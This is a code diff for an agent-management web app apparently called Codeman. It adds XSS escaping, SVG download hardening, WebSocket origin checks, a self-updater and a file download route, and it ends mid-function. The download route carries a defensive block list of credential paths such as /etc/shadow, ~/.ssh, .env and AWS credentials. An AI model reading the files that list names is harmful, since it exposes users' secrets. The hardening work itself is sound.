+          ${toolDetail.hasMore ? `<div class="tool-params-expanded" id="tool-params-${escapeHtml(a.toolUseId)}" style="display:none;"><pre>${escapeHtml(JSON.stringify(a.fullInput || a.input, null, 2))}</pre></div>` : ''}
         </div>`;
       } else if (a.type === 'tool_result') {
         const icon = a.isError ? '❌' : '📄';
@@ -818,7 +818,7 @@ Object.assign(CodemanApp.prototype, {
         return `<div class="subagent-activity tool-result ${statusClass}">
           <span class="time">${time}</span>
           <span class="icon">${icon}</span>
-          <span class="name">${a.tool || 'result'}</span>
+          <span class="name">${escapeHtml(a.tool || 'result')}</span>
           <span class="detail">${escapeHtml(preview)}${sizeInfo}</span>
         </div>`;
       } else if (a.type === 'progress') {
@@ -830,7 +830,7 @@ Object.assign(CodemanApp.prototype, {
         return `<div class="subagent-activity progress${hookClass}">
           <span class="time">${time}</span>
           <span class="icon">${icon}</span>
-          <span class="detail">${displayText}</span>
+          <span class="detail">${escapeHtml(displayText)}</span>
         </div>`;
       } else if (a.type === 'message') {
         const preview = a.text.length > 100 ? a.text.substring(0, 100) + '...' : a.text;
@@ -1400,7 +1400,7 @@ Object.assign(CodemanApp.prototype, {
       return `<div class="activity-line">
         <span class="time">${time}</span>
         <span class="tool-icon">${this.getToolIcon(a.tool)}</span>
-        <span class="tool-name">${a.tool}</span>
+        <span class="tool-name">${escapeHtml(a.tool)}</span>
         <span class="tool-detail">${escapeHtml(this.getToolDetail(a.tool, a.input))}</span>
       </div>`;
     } else if (a.type === 'tool_result') {
@@ -1411,7 +1411,7 @@ Object.assign(CodemanApp.prototype, {
       return `<div class="activity-line result-line${statusClass}">
         <span class="time">${time}</span>
         <span class="tool-icon">${icon}</span>
-        <span class="tool-name">${a.tool || '→'}</span>
+        <span class="tool-name">${escapeHtml(a.tool || '→')}</span>
         <span class="tool-detail">${escapeHtml(preview)}${sizeInfo}</span>
       </div>`;
     } else if (a.type === 'progress') {

src/web/public/settings-ui.js

@@ -430,6 +430,9 @@ Object.assign(CodemanApp.prototype, {
     providerEl.textContent = providerName;
     providerEl.className = 'voice-provider-status' + (providerName.startsWith('Deepgram') ? ' active' : '');
 
+    // Updates section — show current version, reset transient result/progress UI.
+    this._initUpdatesSection();
+
     // Reset to first tab and wire up tab switching
     this.switchSettingsTab('settings-display');
     const modal = document.getElementById('appSettingsModal');
@@ -465,6 +468,187 @@ Object.assign(CodemanApp.prototype, {
     }
   },
 
+  // ───────────────────────────────────────────────────────────────
+  // Self-Update (App Settings → Updates). Backend: src/web/self-update.ts.
+  // ───────────────────────────────────────────────────────────────
+
+  /** Friendly label for an in-flight update phase. */
+  _updatePhaseText(phase) {
+    return {
+      queued: 'Queued…',
+      preparing: 'Preparing…',
+      stashing: 'Stashing local changes…',
+      fetching: 'Fetching release…',
+      checkout: 'Checking out release…',
+      installing: 'Installing dependencies…',
+      building: 'Building…',
+      restarting: 'Restarting Codeman…',
+    }[phase] || phase;
+  },
+
+  /** Populate the version row and clear transient UI when the modal opens. */
+  _initUpdatesSection() {
+    const verEl = this.$('updateCurrentVersion');
+    if (verEl) verEl.textContent = (this.$('versionDisplay')?.textContent || '').trim() || '—';
+    for (const id of ['updateResult', 'updateActionRow', 'updateNotes', 'updateProgress']) {
+      const el = this.$(id);
+      if (el) el.style.display = 'none';
+    }
+    this._updateCheck = null;
+  },
+
+  _setUpdateResult(html) {
+    const el = this.$('updateResult');
+    if (el) { el.style.display = 'block'; el.innerHTML = html; }
+  },
+
+  _setUpdateProgress(html) {
+    const el = this.$('updateProgress');
+    if (el) { el.style.display = 'block'; el.innerHTML = html; }
+  },
+
+  /** Manual "Check for updates" — asks the server to query GitHub. */
+  async checkForUpdate() {
+    const btn = this.$('updateCheckBtn');
+    if (btn) { btn.disabled = true; btn.textContent = 'Checking…'; }
+    const data = await this._apiJson('/api/system/update/check');
+    if (btn) { btn.disabled = false; btn.textContent = 'Check now'; }
+
+    const actionRow = this.$('updateActionRow');
+    const notes = this.$('updateNotes');
+    if (actionRow) actionRow.style.display = 'none';
+    if (notes) notes.style.display = 'none';
+
+    if (!data) {
+      this._setUpdateResult('Could not check for updates. Try again later.');
+      return;
+    }
+    this._updateCheck = data;
+    const verEl = this.$('updateCurrentVersion');
+    if (verEl && data.currentVersion) verEl.textContent = `v${data.currentVersion}`;
+
+    if (data.installKind && data.installKind !== 'git') {
+      this._setUpdateResult(
+        `This install can't update itself (${escapeHtml(data.installKind)}). Update with <code>npm i -g aicodeman@latest</code>.`
+      );
+      return;
+    }
+    if (data.selfUpdateEnabled === false) {
+      this._setUpdateResult('In-app updates are disabled on this server (CODEMAN_DISABLE_SELF_UPDATE=1).');
+      return;
+    }
+    if (data.error && !data.updateAvailable) {
+      this._setUpdateResult(escapeHtml(data.error));
+      return;
+    }
+    if (data.updateAvailable && data.latestVersion) {
+      this._setUpdateResult(
+        `Update available: <strong>v${escapeHtml(data.latestVersion)}</strong> &nbsp;(current v${escapeHtml(data.currentVersion || '')})`
+      );
+      const label = this.$('updateActionLabel');
+      if (label) label.textContent = `Update to v${data.latestVersion}`;
+      if (actionRow) actionRow.style.display = 'flex';
+      const nowBtn = this.$('updateNowBtn');
+      if (nowBtn) { nowBtn.disabled = false; nowBtn.textContent = 'Update now'; }
+      if (notes && data.notes) {
+        notes.style.display = 'block';
+        notes.textContent = data.notes;
+      }
+    } else {
+      this._setUpdateResult(`You're up to date (v${escapeHtml(data.currentVersion || '')}).`);
+    }
+  },
+
+  /** Start the update, then poll status across the service restart. */
+  async startSelfUpdate() {
+    const target = this._updateCheck?.latestVersion ? `v${this._updateCheck.latestVersion}` : 'the latest release';
+    if (!confirm(`Update Codeman to ${target}? The server will restart and this page will reload.`)) return;
+
+    const btn = this.$('updateNowBtn');
+    if (btn) { btn.disabled = true; btn.textContent = 'Starting…'; }
+    const res = await this._apiPost('/api/system/update', {});
+    if (!res || !res.ok) {
+      let msg = 'Failed to start the update.';
+      try { const j = await res.json(); if (j?.error?.message) msg = j.error.message; } catch {}
+      this._setUpdateProgress(`<span style="color:var(--danger,#e5534b)">${escapeHtml(msg)}</span>`);
+      if (btn) { btn.disabled = false; btn.textContent = 'Update now'; }
+      return;
+    }
+    const actionRow = this.$('updateActionRow');
+    if (actionRow) actionRow.style.display = 'none';
+    const notes = this.$('updateNotes');
+    if (notes) notes.style.display = 'none';
+    this._setUpdateProgress('Starting update…');
+    this._pollUpdateStatus();
+  },
+
+  _stopUpdatePolling() {
+    if (this._updatePollTimer) { clearInterval(this._updatePollTimer); this._updatePollTimer = null; }
+  },
+
+  /**
+   * Poll the status file every 1.5s. Survives the connection drop while the
+   * server restarts (fetch throws → "restarting"), then reads the reconciled
+   * terminal state from the freshly-booted server.
+   */
+  _pollUpdateStatus() {
+    this._stopUpdatePolling();
+    const terminal = new Set(['completed', 'completed-needs-manual-restart', 'failed', 'idle']);
+    const poll = async () => {
+      let data = null;
+      try {
+        const res = await fetch('/api/system/update/status');
+        if (res.ok) data = await res.json();
+      } catch { /* server restarting — keep polling */ }
+
+      if (!data) {
+        this._setUpdateProgress('↻ Restarting Codeman…');
+        return;
+      }
+      if (!terminal.has(data.phase)) {
+        // Prefer the live status message — the updater's heartbeat enriches it with
+        // the latest npm/build output line so a slow step doesn't look frozen — and
+        // fall back to the static phase label. Append total elapsed so the counter
+        // keeps ticking between heartbeats: a clear "still working" signal.
+        const label = (data.message && data.message.trim()) ? data.message.trim() : this._updatePhaseText(data.phase);
+        let elapsed = '';
+        if (data.startedAt) {
+          const secs = Math.max(0, Math.round((Date.now() - data.startedAt) / 1000));
+          elapsed = ` <span style="color:var(--text-secondary)">· ${secs}s</span>`;
+        }
+        this._setUpdateProgress(`<span class="tunnel-spinner"></span> ${escapeHtml(label)}${elapsed}`);
+        return;
+      }
+      this._stopUpdatePolling();
+      if (data.phase === 'completed') {
+        let html = `<span style="color:var(--success,#3fb950)">✓ Updated to v${escapeHtml(data.toVersion || '')}. Reloading…</span>`;
+        if (data.stashRef) {
+          html += `<br><span style="color:var(--text-secondary)">Local changes stashed as <code>${escapeHtml(data.stashRef)}</code> — run <code>git stash pop</code> to restore.</span>`;
+        }
+        this._setUpdateProgress(html);
+        setTimeout(() => location.reload(), 2500);
+      } else if (data.phase === 'completed-needs-manual-restart') {
+        this._setUpdateProgress(
+          `Update staged. Restart Codeman to apply:<br><code>${escapeHtml(data.manualRestartCommand || 'restart codeman web')}</code>`
+        );
+      } else if (data.phase === 'failed') {
+        let html = `<span style="color:var(--danger,#e5534b)">✗ ${escapeHtml(data.message || 'Update failed')}.</span>`;
+        if (data.error) html += `<br><span style="color:var(--text-secondary)">${escapeHtml(data.error)}</span>`;
+        html += `<br><span style="color:var(--text-secondary)">The previous version is still running.</span>`;
+        if (data.stashRef) {
+          html += `<br><span style="color:var(--text-secondary)">Local changes stashed as <code>${escapeHtml(data.stashRef)}</code>.</span>`;
+        }
+        this._setUpdateProgress(html);
+        const nowBtn = this.$('updateNowBtn');
+        const actionRow = this.$('updateActionRow');
+        if (nowBtn) { nowBtn.disabled = false; nowBtn.textContent = 'Try again'; }
+        if (actionRow) actionRow.style.display = 'flex';
+      }
+    };
+    poll();
+    this._updatePollTimer = setInterval(poll, 1500);
+  },
+
   async loadTunnelStatus() {
     try {
       const res = await fetch('/api/tunnel/status');

src/web/public/styles.css

@@ -3728,7 +3728,10 @@ body.solo-mode .btn-lifecycle-log {
 /* Settings Grid Layout - 2 column compact view */
 .settings-grid {
   display: grid;
-  grid-template-columns: 1fr 1fr;
+  /* minmax(0, 1fr) lets tracks shrink below their min-content so long
+     labels ellipsis-truncate instead of blowing out the modal width and
+     forcing a horizontal scrollbar (1fr === minmax(auto, 1fr) would not). */
+  grid-template-columns: minmax(0, 1fr) minmax(0, 1fr);
   gap: 0.5rem 1rem;
 }
 
@@ -3794,7 +3797,7 @@ body.solo-mode .btn-lifecycle-log {
 
 /* Three column variant for notification levels */
 .settings-grid-3col {
-  grid-template-columns: 1fr 1fr 1fr;
+  grid-template-columns: minmax(0, 1fr) minmax(0, 1fr) minmax(0, 1fr);
 }
 
 /* Inline input in settings item */
@@ -3965,6 +3968,12 @@ body.solo-mode .btn-lifecycle-log {
   min-height: 0;
 }
 
+/* App Settings packs a 2-column toggle grid; give it room so right-column
+   switches aren't cramped against the edge (other modal-lg modals stay 540). */
+#appSettingsModal .modal-content.modal-lg {
+  max-width: 600px;
+}
+
 /* Mobile Case Picker - Base Styles */
 .mobile-case-picker-sheet {
   position: fixed;

src/web/routes/file-routes.ts

@@ -4,7 +4,8 @@
  */
 
 import { FastifyInstance } from 'fastify';
-import { join } from 'node:path';
+import { basename as pathBasename, join } from 'node:path';
+import { homedir } from 'node:os';
 import fs from 'node:fs/promises';
 import { ApiErrorCode, createErrorResponse, getErrorMessage } from '../../types.js';
 import { fileStreamManager } from '../../file-stream-manager.js';
@@ -278,7 +279,6 @@ export function registerFileRoutes(app: FastifyInstance, ctx: SessionPort): void
         jpeg: 'image/jpeg',
         gif: 'image/gif',
         webp: 'image/webp',
-        svg: 'image/svg+xml',
         ico: 'image/x-icon',
         bmp: 'image/bmp',
         mp4: 'video/mp4',
@@ -292,19 +292,21 @@ export function registerFileRoutes(app: FastifyInstance, ctx: SessionPort): void
       };
 
       const content = await fs.readFile(resolvedPath);
-      if (download === 'true') {
-        const rawBasename = filePath!.split('/').pop() || 'download';
-        // Sanitize filename for Content-Disposition header (prevent header injection)
-        const basename = rawBasename.replace(/["\\\r\n]/g, '_');
+      const rawBasename = filePath!.split('/').pop() || 'download';
+      // Sanitize filename for Content-Disposition header (prevent header injection)
+      const basename = rawBasename.replace(/["\\\r\n]/g, '_');
+      if (download === 'true' || ext === 'svg') {
         reply.raw.writeHead(200, {
-          'Content-Type': mimeTypes[ext] || 'application/octet-stream',
+          'Content-Type': ext === 'svg' ? 'application/octet-stream' : mimeTypes[ext] || 'application/octet-stream',
           'Content-Disposition': `attachment; filename="${basename}"`,
           'Content-Length': content.length,
+          'X-Content-Type-Options': 'nosniff',
         });
         reply.raw.end(content);
         return;
       }
       reply.header('Content-Type', mimeTypes[ext] || 'application/octet-stream');
+      reply.header('X-Content-Type-Options', 'nosniff');
       reply.send(content);
     } catch (err) {
       reply
@@ -380,4 +382,108 @@ export function registerFileRoutes(app: FastifyInstance, ctx: SessionPort): void
     const closed = fileStreamManager.closeStream(streamId);
     return { success: closed };
   });
+  // Session-scoped file download.
+  // Uses the same realpath-based workspace boundary as file preview/raw routes;
+  // the sensitive-path blocklist remains defense-in-depth, not the primary boundary.
+  const SENSITIVE_PATTERNS: RegExp[] = [
+    /^\/etc\/shadow$/,
+    /^\/etc\/gshadow$/,
+    /^\/etc\/master\.passwd$/,
+    new RegExp(`^${homedir().replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}\\/\\.ssh\\/`),
+    /\/\.env$/,
+    /\/\.env\./,
+    /\/credentials(\.json|\.yml|\.yaml|\.xml)?$/i,
+    /\/\.aws\/credentials$/,
+    /\/\.gcloud\/credentials\.db$/,
+    /\/\.docker\/config\.json$/,
+  ];
+
+  function isSensitivePath(absPath: string): boolean {
+    return SENSITIVE_PATTERNS.some((pattern) => pattern.test(absPath));
+  }
+
+  app.get('/api/download', async (req, reply) => {
+    const { path: filePath, sessionId } = req.query as { path?: string; sessionId?: string };
+
+    if (!filePath) {
+      reply.code(400).send(createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Missing path parameter'));
+      return;
+    }
+
+    if (!sessionId) {
+      reply.code(400).send(createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Missing sessionId parameter'));
+      return;
+    }
+
+    const session = findSessionOrFail(ctx, sessionId);
+    const validated = validateSessionFilePath(session.workingDir, filePath);
+    if (!validated) {
+      reply.code(404).send(createErrorResponse(ApiErrorCode.NOT_FOUND, 'File not found'));
+      return;
+    }
+    const { resolvedPath } = validated;
+
+    // Check sensitive path blocklist
+    if (isSensitivePath(resolvedPath)) {
+      reply.code(403).send(createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Access to this file is blocked'));
+      return;
+    }
+
+    try {
+      const stat = await fs.stat(resolvedPath);
+
+      if (!stat.isFile()) {
+        reply.code(400).send(createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Path is not a file'));
+        return;
+      }
+
+      // 50MB size limit
+      const MAX_DOWNLOAD_SIZE = 50 * 1024 * 1024;
+      if (stat.size > MAX_DOWNLOAD_SIZE) {
+        reply
+          .code(400)
+          .send(
+            createErrorResponse(
+              ApiErrorCode.INVALID_INPUT,
+              `File too large (${Math.round(stat.size / 1024 / 1024)}MB > 50MB limit)`
+            )
+          );
+        return;
+      }
+
+      const ext = filePath.split('.').pop()?.toLowerCase() || '';
+      const mimeTypes: Record<string, string> = {
+        png: 'image/png',
+        jpg: 'image/jpeg',
+        jpeg: 'image/jpeg',
+        gif: 'image/gif',
+        webp: 'image/webp',
+        svg: 'image/svg+xml',
+        pdf: 'application/pdf',
+        json: 'application/json',
+        txt: 'text/plain',
+        md: 'text/markdown',
+        csv: 'text/csv',
+        xml: 'application/xml',
+        zip: 'application/zip',
+        gz: 'application/gzip',
+        tar: 'application/x-tar',
+      };
+
+      const filename = pathBasename(resolvedPath);
+      const content = await fs.readFile(resolvedPath);
+      // Bypass Fastify compression — write directly to raw response
+      reply.raw.writeHead(200, {
+        'Content-Type': mimeTypes[ext] || 'application/octet-stream',
+        'Content-Disposition': `attachment; filename="${filename}"`,
+        'Content-Length': content.length,
+      });
+      reply.raw.end(content);
+      return;
+    } catch (err) {
+      reply
+        .code(500)
+        .send(createErrorResponse(ApiErrorCode.OPERATION_FAILED, `Failed to read file: ${getErrorMessage(err)}`));
+    }
+  });
 }

src/web/routes/system-routes.ts

@@ -35,6 +35,7 @@ import {
   SETTINGS_PATH,
 } from '../route-helpers.js';
 import { SseEvent } from '../sse-events.js';
+import { getInstallInfo, checkForUpdate, startUpdate, getUpdateStatusForApi } from '../self-update.js';
 import type { SessionPort, EventPort, ConfigPort, InfraPort, AuthPort } from '../ports/index.js';
 import { AUTH_COOKIE_NAME } from '../middleware/auth.js';
 import { QR_AUTH_FAILURE_MAX } from '../../config/tunnel-config.js';
@@ -268,7 +269,13 @@ export function registerSystemRoutes(
     if (process.platform !== 'darwin') {
       return reply
         .code(400)
-        .send(createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Multi-monitor spanning is only supported on macOS.'));
+        .send(
+          createErrorResponse(
+            ApiErrorCode.INVALID_INPUT,
+            'Multi-monitor spanning runs on the Codeman server, which is not macOS. ' +
+              'If your monitors are on a remote Mac, run scripts/span-codeman.sh locally on that Mac with this server URL — see the script header for details.'
+          )
+        );
     }
     // Resolve the bundled launcher relative to this module (works from src/ and dist/).
     const scriptPath = join(dirname(fileURLToPath(import.meta.url)), '../../../scripts/span-codeman.sh');
@@ -287,6 +294,39 @@ export function registerSystemRoutes(
     }
   });
 
+  // ═══════════════════════════════════════════════════════════════
+  // Self-Update (App Settings → Updates)
+  // ═══════════════════════════════════════════════════════════════
+
+  // Install info + whether a newer release exists. Manual, user-triggered.
+  app.get('/api/system/update/check', async () => {
+    const check = await checkForUpdate();
+    const info = getInstallInfo();
+    return { ...info, ...check };
+  });
+
+  // Poll target for update progress — survives the restart the update triggers.
+  app.get('/api/system/update/status', async () => getUpdateStatusForApi());
+
+  // Kick off a detached update to the latest release. Returns immediately; the
+  // browser then polls /api/system/update/status across the service restart.
+  app.post('/api/system/update', async (_req, reply) => {
+    const result = await startUpdate();
+    if (result.ok) {
+      return { success: true, updateId: result.updateId, toTag: result.toTag, toVersion: result.toVersion };
+    }
+    const map = {
+      'in-flight': { http: 409, api: ApiErrorCode.ALREADY_EXISTS },
+      'up-to-date': { http: 409, api: ApiErrorCode.ALREADY_EXISTS },
+      'not-git': { http: 400, api: ApiErrorCode.INVALID_INPUT },
+      disabled: { http: 403, api: ApiErrorCode.INVALID_INPUT },
+      'bad-tag': { http: 400, api: ApiErrorCode.INVALID_INPUT },
+      error: { http: 500, api: ApiErrorCode.INTERNAL_ERROR },
+    } as const;
+    const m = map[result.code];
+    return reply.code(m.http).send(createErrorResponse(m.api, result.message));
+  });
+
   // ═══════════════════════════════════════════════════════════════
   // CLI Integrations (OpenCode)
   // ═══════════════════════════════════════════════════════════════

src/web/routes/ws-routes.ts

@@ -30,6 +30,7 @@ import { FastifyInstance } from 'fastify';
 import type { WebSocket } from 'ws';
 import type { SessionPort } from '../ports/session-port.js';
 import { MAX_INPUT_LENGTH } from '../../config/terminal-limits.js';
+import { isAllowedRequestHost, isAllowedRequestOrigin, type HostPolicy } from '../network-auth-policy.js';
 
 /** Micro-batch interval for terminal output (ms). Short enough for low latency,
  *  long enough to group Ink's rapid cursor-up redraw sequences into single frames. */
@@ -58,8 +59,19 @@ const MAX_WS_PER_SESSION = 5;
 /** Track active WS connections per session for connection limiting. */
 const sessionWsCount = new Map<string, number>();
 
-export function registerWsRoutes(app: FastifyInstance, ctx: SessionPort): void {
+export function registerWsRoutes(app: FastifyInstance, ctx: SessionPort, getHostPolicy: () => HostPolicy): void {
   app.get<{ Params: { id: string } }>('/ws/sessions/:id/terminal', { websocket: true }, (socket: WebSocket, req) => {
+    // Reject cross-site WebSocket hijacking (CSWSH) and DNS-rebinding before doing
+    // anything: the upgrade must come from an allowed Host and (when the browser
+    // sends one — it always does for WS) a same-site Origin. Writing to this socket
+    // injects keystrokes into a --dangerously-skip-permissions agent, so this gate
+    // matters even on the default no-password install. See security review H5.
+    const policy = getHostPolicy();
+    if (!isAllowedRequestHost(req.headers.host, policy) || !isAllowedRequestOrigin(req.headers.origin, policy)) {
+      socket.close(4003, 'Forbidden');
+      return;
+    }
+
     const { id } = req.params;
     const session = ctx.sessions.get(id);
 

src/web/self-update.ts

@@ -0,0 +1,558 @@
+/**
+ * @fileoverview Server-side logic for the in-app self-updater.
+ *
+ * Powers App Settings → Updates. Codeman is installed as a git clone and run
+ * under systemd (Linux) or launchd (macOS); updating means `git checkout <release
+ * tag> && npm install && npm run build && restart-the-service`. The hard part is
+ * that the update restarts the very process performing it, so the actual work
+ * runs in a DETACHED `scripts/self-update.sh` that outlives the restart, writing
+ * progress to `dataPath('update-status.json')` which the browser polls across the
+ * connection drop.
+ *
+ * Channel: latest tagged RELEASE (tags look like `codeman@0.9.3`). Dirty trees
+ * are auto-stashed (stash left for the user). Detection is manual (a button).
+ *
+ * Split into PURE helpers (semver/tag parsing, reconcile decision) that are unit
+ * tested, and IO wrappers (`getInstallInfo`, `checkForUpdate`, `startUpdate`,
+ * `reconcileUpdateOnBoot`) that touch git/network/fs.
+ *
+ * Related: `src/types/update.ts`, `scripts/self-update.sh`, routes in
+ * `src/web/routes/system-routes.ts`.
+ *
+ * @module web/self-update
+ */
+
+import { spawn, execFileSync } from 'node:child_process';
+import { existsSync, readFileSync, writeFileSync, renameSync, copyFileSync, chmodSync } from 'node:fs';
+import { dirname, join } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import { homedir, tmpdir } from 'node:os';
+import { randomUUID } from 'node:crypto';
+import { createRequire } from 'node:module';
+import { dataPath } from '../config/instance.js';
+import { EXEC_TIMEOUT_MS } from '../config/exec-timeout.js';
+import type {
+  InstallInfo,
+  InstallKind,
+  SupervisorKind,
+  UpdateCheckResult,
+  UpdatePhase,
+  UpdateStatus,
+} from '../types/update.js';
+
+const require = createRequire(import.meta.url);
+const { version: APP_VERSION } = require('../../package.json') as { version: string };
+
+/** systemd unit name (matches install.sh + scripts/codeman-web.service). */
+const SYSTEMD_UNIT = 'codeman-web.service';
+/** launchd agent label (matches install.sh setup_launchd_service). */
+const LAUNCHD_LABEL = 'com.codeman.web';
+/** Path to the persisted update status file. */
+const STATUS_FILE = dataPath('update-status.json');
+/** Network/git timeout for the "check" path (longer than EXEC_TIMEOUT_MS — ls-remote hits the network). */
+const CHECK_TIMEOUT_MS = 12_000;
+/** How long after `startedAt` a non-terminal status is treated as abandoned on boot. */
+const RECONCILE_STALE_MS = 15 * 60 * 1000;
+
+/** Phases that mean "an update is currently running". */
+const IN_FLIGHT_PHASES: ReadonlySet<UpdatePhase> = new Set<UpdatePhase>([
+  'queued',
+  'preparing',
+  'stashing',
+  'fetching',
+  'checkout',
+  'installing',
+  'building',
+  'restarting',
+]);
+
+export function isInFlight(status: UpdateStatus | null | undefined): boolean {
+  return !!status && IN_FLIGHT_PHASES.has(status.phase);
+}
+
+// ─────────────────────────────────────────────────────────────────────────────
+// PURE helpers (unit tested — no IO)
+// ─────────────────────────────────────────────────────────────────────────────
+
+export interface ParsedVersion {
+  major: number;
+  minor: number;
+  patch: number;
+  /** Non-empty for prereleases like `0.9.3-rc1`. */
+  prerelease: string;
+}
+
+/**
+ * Parse a semver out of a release tag. Accepts `codeman@0.9.3`, `aicodeman@0.9.3`,
+ * `v0.9.3`, and bare `0.9.3` (with optional `-prerelease`). Returns null if no
+ * `X.Y.Z` is present.
+ */
+export function parseVersionFromTag(tag: string): ParsedVersion | null {
+  const m = tag.trim().match(/(\d+)\.(\d+)\.(\d+)(?:-([0-9A-Za-z.-]+))?\s*$/);
+  if (!m) return null;
+  return {
+    major: parseInt(m[1], 10),
+    minor: parseInt(m[2], 10),
+    patch: parseInt(m[3], 10),
+    prerelease: m[4] ?? '',
+  };
+}
+
+/** Compare two parsed versions. Returns >0 if a>b, <0 if a<b, 0 if equal. A release outranks a prerelease of the same X.Y.Z. */
+export function compareVersions(a: ParsedVersion, b: ParsedVersion): number {
+  if (a.major !== b.major) return a.major - b.major;
+  if (a.minor !== b.minor) return a.minor - b.minor;
+  if (a.patch !== b.patch) return a.patch - b.patch;
+  // Equal core: a release (no prerelease) is greater than a prerelease.
+  if (a.prerelease === b.prerelease) return 0;
+  if (!a.prerelease) return 1;
+  if (!b.prerelease) return -1;
+  return a.prerelease < b.prerelease ? -1 : 1;
+}
+
+/** True when `latest` is a strictly newer STABLE version than `current`. */
+export function isNewerStableVersion(current: string, latest: string): boolean {
+  const c = parseVersionFromTag(current);
+  const l = parseVersionFromTag(latest);
+  if (!c || !l) return false;
+  if (l.prerelease) return false; // never offer a prerelease as an update
+  return compareVersions(l, c) > 0;
+}
+
+/**
+ * From a list of `refs/tags/...` (or bare tag names), pick the highest STABLE
+ * release tag we recognize. Skips prereleases and unrecognized tags.
+ */
+export function pickLatestStableTag(tagRefs: string[]): { tag: string; version: string } | null {
+  let best: { tag: string; parsed: ParsedVersion } | null = null;
+  for (const raw of tagRefs) {
+    // Accept `refs/tags/codeman@0.9.3`, dereferenced `...^{}`, or bare tag names.
+    const tag = raw
+      .replace(/^.*refs\/tags\//, '')
+      .replace(/\^\{\}$/, '')
+      .trim();
+    if (!tag) continue;
+    if (!/^(codeman|aicodeman)@\d+\.\d+\.\d+$/.test(tag) && !/^v?\d+\.\d+\.\d+$/.test(tag)) continue;
+    const parsed = parseVersionFromTag(tag);
+    if (!parsed || parsed.prerelease) continue;
+    if (!best || compareVersions(parsed, best.parsed) > 0) {
+      best = { tag, parsed };
+    }
+  }
+  if (!best) return null;
+  return { tag: best.tag, version: `${best.parsed.major}.${best.parsed.minor}.${best.parsed.patch}` };
+}
+
+/** Tags must match this before they're ever passed to the shell. */
+export function isValidReleaseTag(tag: string): boolean {
+  return /^(codeman|aicodeman)@\d+\.\d+\.\d+$/.test(tag);
+}
+
+/** Derive `{owner, repo}` from a GitHub SSH or HTTPS remote URL. */
+export function parseGitHubRepo(remoteUrl: string): { owner: string; repo: string } | null {
+  const m = remoteUrl.trim().match(/github\.com[:/]+([^/]+)\/(.+?)(?:\.git)?\/?$/);
+  if (!m) return null;
+  return { owner: m[1], repo: m[2] };
+}
+
+/**
+ * PURE boot-time reconcile decision. Given the persisted status, the version the
+ * freshly-booted process is actually running, and `now`, return the status to
+ * persist — or null to leave it untouched.
+ *
+ * Rules (see plan "Hardening"):
+ * - Terminal phases → untouched.
+ * - Only the `restarting` marker (written right before the updater triggers our
+ *   restart) flips to completed/failed by comparing running version vs. target.
+ * - Other in-flight phases are owned by the still-running updater scope — leave
+ *   them alone so a normal/crash restart mid-update isn't misreported.
+ * - A backstop staleness guard fails any in-flight status older than the window.
+ */
+export function reconcileStatusDecision(
+  status: UpdateStatus | null,
+  runningVersion: string,
+  now: number
+): UpdateStatus | null {
+  if (!status) return null;
+  if (!IN_FLIGHT_PHASES.has(status.phase)) return null;
+
+  if (status.phase === 'restarting') {
+    if (status.toVersion && runningVersion === status.toVersion) {
+      return { ...status, phase: 'completed', message: `Updated to v${runningVersion}`, updatedAt: now };
+    }
+    return {
+      ...status,
+      phase: 'failed',
+      message: 'Restarted but version did not change',
+      error: `expected ${status.toVersion ?? '?'}, running ${runningVersion}`,
+      updatedAt: now,
+    };
+  }
+
+  // Not the restart marker: only intervene if clearly abandoned.
+  if (now - status.startedAt > RECONCILE_STALE_MS) {
+    return {
+      ...status,
+      phase: 'failed',
+      message: 'Update did not complete',
+      error: `abandoned during "${status.phase}"`,
+      updatedAt: now,
+    };
+  }
+  return null;
+}
+
+// ─────────────────────────────────────────────────────────────────────────────
+// Status file IO
+// ─────────────────────────────────────────────────────────────────────────────
+
+/** Read the persisted status; tolerant of a missing/torn file (returns null). */
+export function readUpdateStatus(): UpdateStatus | null {
+  try {
+    if (!existsSync(STATUS_FILE)) return null;
+    return JSON.parse(readFileSync(STATUS_FILE, 'utf-8')) as UpdateStatus;
+  } catch {
+    return null;
+  }
+}
+
+/** Write the status atomically (temp + rename — readers never see a torn file). */
+export function writeUpdateStatusAtomic(status: UpdateStatus): void {
+  const tmp = `${STATUS_FILE}.tmp-${process.pid}`;
+  writeFileSync(tmp, JSON.stringify(status, null, 2));
+  renameSync(tmp, STATUS_FILE);
+}
+
+/** Reconcile the status file on server boot (call once, early in start()). */
+export function reconcileUpdateOnBoot(now = Date.now()): void {
+  const status = readUpdateStatus();
+  const next = reconcileStatusDecision(status, APP_VERSION, now);
+  if (next) writeUpdateStatusAtomic(next);
+}
+
+// ─────────────────────────────────────────────────────────────────────────────
+// Environment probing (git / supervisor / install kind)
+// ─────────────────────────────────────────────────────────────────────────────
+
+/** Run a command, returning trimmed stdout, or null on any error. */
+function tryExec(cmd: string, args: string[], cwd?: string, timeout = EXEC_TIMEOUT_MS): string | null {
+  try {
+    return execFileSync(cmd, args, { cwd, encoding: 'utf-8', timeout, stdio: ['ignore', 'pipe', 'ignore'] }).trim();
+  } catch {
+    return null;
+  }
+}
+
+function commandExists(cmd: string): boolean {
+  return tryExec('sh', ['-c', `command -v ${cmd}`]) !== null;
+}
+
+/**
+ * Resolve the repo root from this module's location. Compiled to
+ * `dist/web/self-update.js` (or `src/web/self-update.ts` under tsx) → two levels
+ * up is the package root that holds `package.json` and `.git`. Matches the
+ * `require('../../package.json')` resolution in `server.ts`.
+ */
+export function resolveInstallDir(): string {
+  const moduleDir = dirname(fileURLToPath(import.meta.url));
+  const root = join(moduleDir, '..', '..');
+  if (existsSync(join(root, 'package.json'))) return root;
+  return process.cwd();
+}
+
+function detectInstallKind(dir: string): InstallKind {
+  if (existsSync(join(dir, '.git'))) return 'git';
+  // Global npm install ships only dist/ (no src/, no .git).
+  if (!existsSync(join(dir, 'src'))) return 'npm';
+  return 'unknown';
+}
+
+/**
+ * Detect which init system supervises us. Detection happens HERE (in the running
+ * server, which has a rich env) and the result is passed to the updater script —
+ * the detached child must not re-probe with a stripped-down environment.
+ */
+export function detectSupervisor(): SupervisorKind {
+  if (process.platform === 'darwin') {
+    if (existsSync(join(homedir(), 'Library', 'LaunchAgents', `${LAUNCHD_LABEL}.plist`))) return 'launchd';
+    return 'none';
+  }
+  if (process.platform === 'linux') {
+    // INVOCATION_ID is set by systemd for service processes; confirm with is-active.
